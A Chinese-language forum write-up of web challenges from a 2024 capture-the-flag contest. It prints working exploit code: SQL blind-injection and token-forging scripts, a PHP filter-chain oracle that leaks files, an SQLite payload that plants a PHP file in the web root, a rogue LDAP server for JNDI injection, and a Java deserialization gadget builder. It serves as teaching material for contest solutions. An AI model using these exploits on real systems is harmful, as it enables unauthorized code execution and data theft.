RCTF 2024 WEB wp

打印 上一主题 下一主题

主题 840|帖子 840|积分 2520

RCTF 2024 WEB wp

媒介

赛后复现,proxy发现自己真是个呆b...
what_is_love

首先拿key1,sql语句处有注入,可以盲注拿key1的值
  1. import requests
  2. import string
  3. strings = string.digits + string.ascii_uppercase + "_"
  4. url="http://1.94.13.174:10088/key1"
  5. flag='RCTF{'
  6. payload="1' || BINARY love_key REGEXP '{}' #"
  7. for i in range(100000):
  8.     for j in strings:
  9.         data={
  10.             'key1':payload.format(flag+j)
  11.         }
  12.         req=requests.post(url,data=data)
  13.         if "success" in req.text:
  14.             flag=flag+j
  15.             print(flag)
  16.             break
复制代码
然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecret 由secret 和love_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,颠末parseInt处剖析酿成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本
  1. import requests
  2. import base64
  3. import hashlib
  4. import json
  5. url = "http://1.94.13.174:10088/key2"
  6. data = {
  7.     "username": "lover",
  8.     "love_time": "a"
  9. }
  10. response = requests.post(url, data=data)
  11. token = response.text.split("token:")[1].strip()
  12. print(f"Obtained token: {token}")
  13. userinfo = {
  14.     "username": "lover",
  15.     "love_time": None,
  16.     "have_lovers": True
  17. }
  18. data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
  19. signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
  20. evil_token = f"{data_hex}.{signature}"
  21. print(f"Constructed evil token: {evil_token}")
  22. url = "http://1.94.13.174:10088/check"
  23. data = {
  24.     "love_token": evil_token
  25. }
  26. response = requests.post(url, data=data)
  27. print(f"Response from /check: {response.text}")
  28. #_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}
复制代码
color

Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了
  1. import requests
  2. url = "http://124.71.164.28:10088/final/game.php"
  3. r = requests.Session()
  4. # 获取cookie
  5. r.get(url)
  6. # 刷分
  7. data1 = {
  8.     'action': '3wrg4Ich1RsKFUUPmU0vlw==',
  9.     'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
  10. }
  11. for i in range(500):
  12.     data2 = {
  13.         'action': 's03/Zr+K7nTxLc2aiHJQcg==',
  14.         'pos': r.post(url, data1).json()['data']
  15.     }
  16.     print(r.post(url, data2).json())
  17. # game over
  18. data3 = {
  19.     'action': 'IMYZakV42qGIPRWdg/WfFg=='
  20. }  
  21. print(r.post(url, data3).json())
  22. # {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}
复制代码
secret解密一下,拿到源码,阅读源码,毛病点在这

file_get_contents,我们可以打侧信道盲注
  1. import requests
  2. import sys
  3. from base64 import b64decode
  4. """
  5. THE GRAND IDEA:
  6. We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
  7. filter will blow up the string length by 4x every time it is used, which will quickly cause
  8. 500 error if and only if the string is non empty. So we now have an oracle that tells us if
  9. the string is empty.
  10. THE GRAND IDEA 2:
  11. The dechunk filter is interesting.
  12. https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
  13. It looks like it was implemented for something http related, but for our purposes, the interesting
  14. behavior is that if the string contains no newlines, it will wipe the entire string if and only if
  15. the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
  16. above oracle! In fact we can verify that since the flag starts with D that the filter chain
  17. dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
  18. does not cause a 500 error.
  19. THE REST:
  20. So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
  21. into madness trying to figure out ways to:
  22. - somehow get other characters not at the start of the flag file to the front
  23. - detect more precisely which character is at the front
  24. """
  25. def join(*x):
  26.   return '|'.join(x)
  27. def err(s):
  28.   print(s)
  29.   raise ValueError
  30. def req(s):
  31.   data = f'php://filter/{s}/resource=/flag.txt'
  32.   datas = {
  33.         'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
  34.   }
  35.   files = {
  36.       'image': ('web.png', data)
  37.   }
  38.   return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text
  39. """
  40. Step 1:
  41. The second step of our exploit only works under two conditions:
  42. - String only contains a-zA-Z0-9
  43. - String ends with two equals signs
  44. base64-encoding the flag file twice takes care of the first condition.
  45. We don't know the length of the flag file, so we can't be sure that it will end with two equals
  46. signs.
  47. Repeated application of the convert.quoted-printable-encode will only consume additional
  48. memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
  49. If the double-base64 does not end with two equals signs, we will add junk data to the start of the
  50. flag with convert.iconv..CSISO2022KR until it does.
  51. """
  52. blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
  53. blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
  54. blow_up_inf = join(*[blow_up_utf32]*50)
  55. header = 'convert.base64-encode|convert.base64-encode'
  56. # Start get baseline blowup
  57. print('Calculating blowup')
  58. baseline_blowup = 0
  59. for n in range(100):
  60.   payload = join(*[blow_up_utf32]*n)
  61.   if req(f'{header}|{payload}'):
  62.     baseline_blowup = n
  63.     break
  64. else:
  65.   err('something wrong')
  66. print(f'baseline blowup is {baseline_blowup}')
  67. trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
  68. assert req(f'{header}|{trailer}') == False
  69. print('detecting equals')
  70. j = [
  71.   req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
  72.   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
  73.   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
  74. ]
  75. print(j)
  76. if sum(j) != 2:
  77.   err('something wrong')
  78. if j[0] == False:
  79.   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
  80. elif j[1] == False:
  81.   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
  82. elif j[2] == False:
  83.   header = f'convert.base64-encode|convert.base64-encode'
  84. else:
  85.   err('something wrong')
  86. print(f'j: {j}')
  87. print(f'header: {header}')
  88. """
  89. Step two:
  90. Now we have something of the form
  91. [a-zA-Z0-9 things]==
  92. Here the pain begins. For a long time I was trying to find something that would allow me to strip
  93. successive characters from the start of the string to access every character. Maybe something like
  94. that exists but I couldn't find it. However, if you play around with filter combinations you notice
  95. there are filters that *swap* characters:
  96. convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
  97. abcdefgh -> badcfehg
  98. convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
  99. abcdefgh -> dcbahgfe
  100. This allows us to access the first four characters of the string. Can we do better? It turns out
  101. YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
  102. the string:
  103. abcdefgh -> <0xff><0xfe>abcdefgh
  104. The idea being that if we now use the r4 gadget, we get something like:
  105. ba<0xfe><0xff>fedc
  106. And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
  107. <0xfe><0xff> to get:
  108. bafedc
  109. And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
  110. characters of the string. There's only one problem: our r4 gadget requires that the string length
  111. is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
  112. we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
  113. good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
  114. turns out, if we apply the filter
  115. convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
  116. It will turn the == into:
  117. +---AD0-3D3D+---AD0-3D3D
  118. And this is magic, because this corrects such that when we apply the
  119. convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
  120. Let's recap. We have a string like:
  121. abcdefghij==
  122. Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
  123. abcdefghij+---AD0-3D3D+---AD0-3D3D
  124. Apply convert.iconv.CSUNICODE.CSUNICODE:
  125. <0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
  126. Apply r4 gadget:
  127. ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
  128. Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
  129. bafedcjihg+0DAD3D3+0DAD3Dw==
  130. Then apply r4 once more:
  131. efabijcd0+gh3DAD0+3D3DAD==wD
  132. And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
  133. the string still has two equals signs in it, so we can reapply the technique as many times as we
  134. want, to access all the characters in the string ;)
  135. """
  136. flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
  137. r2 = "convert.iconv.CSUNICODE.UCS-2BE"
  138. r4 = "convert.iconv.UCS-4LE.10646-1:1993"
  139. def get_nth(n):
  140.   global flip, r2, r4
  141.   o = []
  142.   chunk = n // 2
  143.   if chunk % 2 == 1: o.append(r4)
  144.   o.extend([flip, r4] * (chunk // 2))
  145.   if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
  146.   return join(*o)
  147. """
  148. Step 3:
  149. This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
  150. char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
  151. chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
  152. I just bruteforced every combination of iconv filters to find these.
  153. Numbers are a bit trickier because iconv doesn't tend to touch them.
  154. In the CTF you coud porbably just guess from there once you have the letters. But if you actually
  155. want a full leak you can base64 encode a third time and use the first two letters of the resulting
  156. string to figure out which number it is.
  157. """
  158. rot1 = 'convert.iconv.437.CP930'
  159. be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
  160. o = ''
  161. def find_letter(prefix):
  162.   if not req(f'{prefix}|dechunk|{blow_up_inf}'):
  163.     # a-f A-F 0-9
  164.     if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
  165.       # a-e
  166.       for n in range(5):
  167.         if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
  168.           return 'edcba'[n]
  169.           break
  170.       else:
  171.         err('something wrong')
  172.     elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
  173.       # A-E
  174.       for n in range(5):
  175.         if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
  176.           return 'EDCBA'[n]
  177.           break
  178.       else:
  179.         err('something wrong')
  180.     elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
  181.       return '*'
  182.     elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  183.       # f
  184.       return 'f'
  185.     elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  186.       # F
  187.       return 'F'
  188.     else:
  189.       err('something wrong')
  190.   elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
  191.     # n-s N-S
  192.     if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
  193.       # n-r
  194.       for n in range(5):
  195.         if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
  196.           return 'rqpon'[n]
  197.           break
  198.       else:
  199.         err('something wrong')
  200.     elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
  201.       # N-R
  202.       for n in range(5):
  203.         if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
  204.           return 'RQPON'[n]
  205.           break
  206.       else:
  207.         err('something wrong')
  208.     elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  209.       # s
  210.       return 's'
  211.     elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  212.       # S
  213.       return 'S'
  214.     else:
  215.       err('something wrong')
  216.   elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  217.     # i j k
  218.     if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
  219.       return 'k'
  220.     elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  221.       return 'j'
  222.     elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  223.       return 'i'
  224.     else:
  225.       err('something wrong')
  226.   elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  227.     # I J K
  228.     if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
  229.       return 'K'
  230.     elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  231.       return 'J'
  232.     elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  233.       return 'I'
  234.     else:
  235.       err('something wrong')
  236.   elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  237.     # v w x
  238.     if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
  239.       return 'x'
  240.     elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  241.       return 'w'
  242.     elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  243.       return 'v'
  244.     else:
  245.       err('something wrong')
  246.   elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  247.     # V W X
  248.     if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
  249.       return 'X'
  250.     elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  251.       return 'W'
  252.     elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
  253.       return 'V'
  254.     else:
  255.       err('something wrong')
  256.   elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  257.     # Z
  258.     return 'Z'
  259.   elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  260.     # z
  261.     return 'z'
  262.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  263.     # M
  264.     return 'M'
  265.   elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  266.     # m
  267.     return 'm'
  268.   elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  269.     # y
  270.     return 'y'
  271.   elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  272.     # Y
  273.     return 'Y'
  274.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  275.     # l
  276.     return 'l'
  277.   elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  278.     # L
  279.     return 'L'
  280.   elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  281.     # h
  282.     return 'h'
  283.   elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  284.     # H
  285.     return 'H'
  286.   elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  287.     # u
  288.     return 'u'
  289.   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  290.     # U
  291.     return 'U'
  292.   elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  293.     # g
  294.     return 'g'
  295.   elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  296.     # G
  297.     return 'G'
  298.   elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  299.     # t
  300.     return 't'
  301.   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  302.     # T
  303.     return 'T'
  304.   else:
  305.     err('something wrong')
  306. print()
  307. for i in range(100):
  308.   prefix = f'{header}|{get_nth(i)}'
  309.   letter = find_letter(prefix)
  310.   # it's a number! check base64
  311.   if letter == '*':
  312.     prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
  313.     s = find_letter(prefix)
  314.     if s == 'M':
  315.       # 0 - 3
  316.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
  317.       ss = find_letter(prefix)
  318.       if ss in 'CDEFGH':
  319.         letter = '0'
  320.       elif ss in 'STUVWX':
  321.         letter = '1'
  322.       elif ss in 'ijklmn':
  323.         letter = '2'
  324.       elif ss in 'yz*':
  325.         letter = '3'
  326.       else:
  327.         err(f'bad num ({ss})')
  328.     elif s == 'N':
  329.       # 4 - 7
  330.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
  331.       ss = find_letter(prefix)
  332.       if ss in 'CDEFGH':
  333.         letter = '4'
  334.       elif ss in 'STUVWX':
  335.         letter = '5'
  336.       elif ss in 'ijklmn':
  337.         letter = '6'
  338.       elif ss in 'yz*':
  339.         letter = '7'
  340.       else:
  341.         err(f'bad num ({ss})')
  342.     elif s == 'O':
  343.       # 8 - 9
  344.       prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
  345.       ss = find_letter(prefix)
  346.       if ss in 'CDEFGH':
  347.         letter = '8'
  348.       elif ss in 'STUVWX':
  349.         letter = '9'
  350.       else:
  351.         err(f'bad num ({ss})')
  352.     else:
  353.       err('wtf')
  354.   print(end=letter)
  355.   o += letter
  356.   sys.stdout.flush()
  357. """
  358. We are done!! :)
  359. """
  360. print()
  361. d = b64decode(o.encode() + b'=' * 4)
  362. # remove KR padding
  363. d = d.replace(b'',b'')
  364. print(b64decode(d))
复制代码
删掉前面的几个无关字符,base64解码拿到flag
proxy

实在挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没乐成就回滚了,于是开始了漫长的测试,测到最后也没同时满足全部sql语句,终极解法:手动commit一次...
payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES (''); commit;--+
读取flag.php拿到flag
OpenYourEyesToSeeTheWorld

睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

进入p_resolveIntermediate

跟进c_resolveIntermediate_nns,上下两个都一样

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

进入这个CompositeName,实在就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap
  1. package com.ctf;
  2. import com.sun.net.httpserver.HttpExchange;
  3. import com.sun.net.httpserver.HttpHandler;
  4. import com.sun.net.httpserver.HttpServer;
  5. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  6. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  7. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  8. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  9. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  10. import com.unboundid.ldap.sdk.Entry;
  11. import com.unboundid.ldap.sdk.LDAPException;
  12. import com.unboundid.ldap.sdk.LDAPResult;
  13. import com.unboundid.ldap.sdk.ResultCode;
  14. import com.unboundid.util.Base64;
  15. import javax.net.ServerSocketFactory;
  16. import javax.net.SocketFactory;
  17. import javax.net.ssl.SSLSocketFactory;
  18. import java.io.*;
  19. import java.net.InetAddress;
  20. import java.net.InetSocketAddress;
  21. import java.net.MalformedURLException;
  22. import java.net.URL;
  23. import java.text.ParseException;
  24. public class LDAPServer2 {
  25.     private static final String LDAP_BASE = "dc=example,dc=com";
  26.     public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
  27.         try {
  28.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  29.             config.setListenerConfigs(new InMemoryListenerConfig(
  30.                     "listen",
  31.                     InetAddress.getByName("0.0.0.0"),
  32.                     ldap_port,
  33.                     ServerSocketFactory.getDefault(),
  34.                     SocketFactory.getDefault(),
  35.                     (SSLSocketFactory) SSLSocketFactory.getDefault()));
  36.             config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
  37.             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  38.             System.out.println("Listening on 0.0.0.0:" + ldap_port);
  39.             ds.startListening();
  40.         }
  41.         catch ( Exception e ) {
  42.             e.printStackTrace();
  43.         }
  44.     }
  45.     public static class HttpFileHandler implements HttpHandler {
  46.         public HttpFileHandler() {
  47.         }
  48.         public void handle(HttpExchange httpExchange) {
  49.             try {
  50.                 System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
  51.                 String uri = httpExchange.getRequestURI().getPath();
  52.                 InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
  53.                 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  54.                 if (inputStream == null){
  55.                     System.out.println("Not Found");
  56.                     httpExchange.close();
  57.                     return;
  58.                 }else{
  59.                     while(inputStream.available() > 0) {
  60.                         byteArrayOutputStream.write(inputStream.read());
  61.                     }
  62.                     byte[] bytes = byteArrayOutputStream.toByteArray();
  63.                     httpExchange.sendResponseHeaders(200, (long)bytes.length);
  64.                     httpExchange.getResponseBody().write(bytes);
  65.                     httpExchange.close();
  66.                 }
  67.             } catch (Exception var5) {
  68.                 var5.printStackTrace();
  69.             }
  70.         }
  71.     }
  72.     private static class OperationInterceptor extends InMemoryOperationInterceptor {
  73.         private URL codebase;
  74.         public OperationInterceptor ( URL cb ) {
  75.             this.codebase = cb;
  76.         }
  77.         @Override
  78.         public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  79.             String base = result.getRequest().getBaseDN();
  80.             Entry e = new Entry(base);
  81.             try {
  82.                 sendResult(result, base, e);
  83.             }
  84.             catch ( Exception e1 ) {
  85.                 e1.printStackTrace();
  86.             }
  87.         }
  88.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
  89.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  90.             System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  91.             e.addAttribute("javaClassName", "foo");
  92.             String cbstring = this.codebase.toString();
  93.             int refPos = cbstring.indexOf('#');
  94.             if ( refPos > 0 ) {
  95.                 cbstring = cbstring.substring(0, refPos);
  96.             }
  97.             /** Payload1: Return Reference Factory **/
  98.             // e.addAttribute("javaCodeBase", cbstring);
  99.             // e.addAttribute("objectClass", "javaNamingReference");
  100.             // e.addAttribute("javaFactory", this.codebase.getRef());
  101.             /** Payload1 end **/
  102.             /** Payload2: Return Serialized Gadget **/
  103.             try {
  104.                 // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
  105.                 e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
  106.             } catch (ParseException e1) {
  107.                 e1.printStackTrace();
  108.             }
  109.             /** Payload2 end **/
  110.             result.sendSearchEntry(e);
  111.             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  112.         }
  113.     }
  114.     public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
  115.         System.out.println("Starting HTTP server");
  116.         HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
  117.         httpServer.createContext("/", new HttpFileHandler());
  118.         httpServer.setExecutor(null);
  119.         httpServer.start();
  120.     }
  121.     public static void main(String[] args) throws Exception {
  122.         String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
  123.         args = args1;
  124.         System.out.println("HttpServerAddress: "+args[0]);
  125.         System.out.println("HttpServerPort: "+args[1]);
  126.         System.out.println("LDAPServerPort: "+args[2]);
  127.         String http_server_ip = args[0];
  128.         int ldap_port = Integer.valueOf(args[2]);
  129.         int http_server_port = Integer.valueOf(args[1]);
  130.         lanuchCodebaseURLServer(http_server_ip, http_server_port);
  131.         lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
  132.     }
  133. }
复制代码
  1. package com.example.demo.controller;
  2. import com.fasterxml.jackson.databind.node.POJONode;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  5. import javax.management.BadAttributeValueExpException;
  6. import javax.xml.transform.Templates;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.nio.file.Files;
  10. import java.nio.file.Paths;
  11. import java.util.Base64;
  12. public class Test {
  13.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  14.         Field f = obj.getClass().getDeclaredField(fieldName);
  15.         f.setAccessible(true);
  16.         f.set(obj, value);
  17.     }
  18.     public static void main(String[] args) throws Exception {
  19.         byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
  20.         Templates templatesImpl = new TemplatesImpl();
  21.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  22.         setFieldValue(templatesImpl, "_name", "a");
  23.         setFieldValue(templatesImpl, "_tfactory", null);
  24.         POJONode pojoNode = new POJONode(templatesImpl);
  25.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
  26.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  27.         val.setAccessible(true);
  28.         val.set(exp,pojoNode);
  29.         FileOutputStream fos = new FileOutputStream("D:\\1.txt");
  30.         fos.write(serial(exp).getBytes());
  31.         Base64.getDecoder().decode(serial(exp));
  32.         File f = new File("D:\\1.txt");
  33.         BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
  34.         System.out.println(bfr.readLine());
  35. //        deserial(serial(exp));
  36.     }
  37.     public static String serial(Object o) throws IOException, NoSuchFieldException {
  38.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  39.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  40.         oos.writeObject(o);
  41.         oos.close();
  42.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  43.         return base64String;
  44.     }
  45.     public static void deserial(String data) throws Exception {
  46.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
  47.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
  48.         ObjectInputStream ois = new ObjectInputStream(bais);
  49.         ois.readObject();
  50.         ois.close();
  51.     }
  52. }
复制代码
nosandbox

官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(

